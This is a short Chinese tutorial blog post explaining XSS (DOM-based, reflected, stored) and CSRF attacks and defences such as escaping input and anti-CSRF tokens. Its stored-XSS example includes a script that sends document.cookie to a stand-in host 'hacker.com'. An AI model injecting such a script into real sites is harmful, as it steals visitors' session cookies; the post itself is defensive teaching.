XSS攻击、CSRF攻击

XSS攻击

1.什么是XSS

XSS,全称Cross Site Scripting,跨站脚本攻击。恶意web用户往有XSS漏洞的网站中插入恶意的代码,比如HTML代码和客户端脚本,嵌入到网站中的恶意代码会自动执行;通过XSS攻击,攻击者可以达到盗取各种Cookie、控制企业数据等目的。

2.XSS分类

(1)DOM Based XSS

当使用了innerHTML时,容易受到DOM Based XSS攻击;
例如:

div.innerHTML = content 
content的内容为用户输入的内容,为 <script>alert(XSS攻击)</script> 

页面会自动运行这个脚本,页面弹框,造成XSS攻击

(2)反射式XSS

(3)Stored XSS

例如:
一个有XSS漏洞的网页,有发布评论的功能;攻击者通过发布一条评论,评论中带有恶意攻击代码,如
<script>window.open('http://hacker.com?cookie=' + document.cookie)</script>;
这个评论发布后,储存到了服务器上面,当其它用户浏览页面时,他们的网站的cookie信息就被发送到了攻击者的服务器上面了。

3.如何防御XSS攻击

所有用户可输入的地方都是不安全的,因此要对用户输入的内容进行严格的过滤,对特殊的字符进行转义等。对于开发者来说,尽量避免会造成XSS漏洞的操作,例如InnerHTML、eval的使用等。

eval() 函数会将传入的字符串当做 JavaScript 代码进行执行。如果使用用 eval() 运行的字符串代码被攻击者修改,那么就会在网页上运行恶意代码。更重要的是,第三方代码可以看到某一个eval()被调用时的作用域,这也有可能导致一些不同方式的攻击。
如果 eval() 的参数不是字符串, eval() 将会将参数原封不动的返回。

https://www.jianshu.com/p/790fb57f3acb
https://blog.csdn.net/ghsau/article/details/17027893

CSRF攻击

1.什么是CSRF

CSRF(Cross-site request forgery)跨站请求伪造,就是攻击者构造网站后台某个功能接口的请求地址,诱导用户去点击或者用特殊方法让该请求地址自动加载。用户在登录状态下这个请求被服务端接收后会被误以为是用户合法的操作。也就是攻击者盗用了用户的身份,以用户的名义发送一些对用户不利的请求,例如盗取账号,虚拟货币转让,隐私泄露,危害财产安全。

2.过程

  • 用户访问A网站(安全受信任的网站,设定为一个银行网站),登陆账户,产生相应cookie
  • 用户在没有登出A网站时,登陆恶意网站B网站
  • B网站要求向A网站发送一个请求,请求内容为向攻击者的用户转钱
  • 此时用户带着登陆A网站时产生的cookie,向A网站发送了这个请求(因为带有cookie,所以A网站认为是用户合法的操作)
  • 用户就在不知情的情况下向攻击者的用户转钱

3.防御

使用anti-csrf-token
服务端在客户端页面增加伪随机数。将随机数埋入页面,一般是埋入表单中,同时随机数也会作为cookie或session种入用户的浏览器,当用户发送请求时,表单里的随机数一同被提交上去,后台解析了cookie后获取了随机数的值和用户提交的值进行比较,相等的话就说明这个请求是合法的。

http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 220,492评论 6 513
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,048评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 166,927评论 0 358
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,293评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,309评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,024评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,638评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,546评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,073评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,188评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,321评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,998评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,678评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,186评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,303评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,663评论 3 375
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,330评论 2 358

推荐阅读更多精彩内容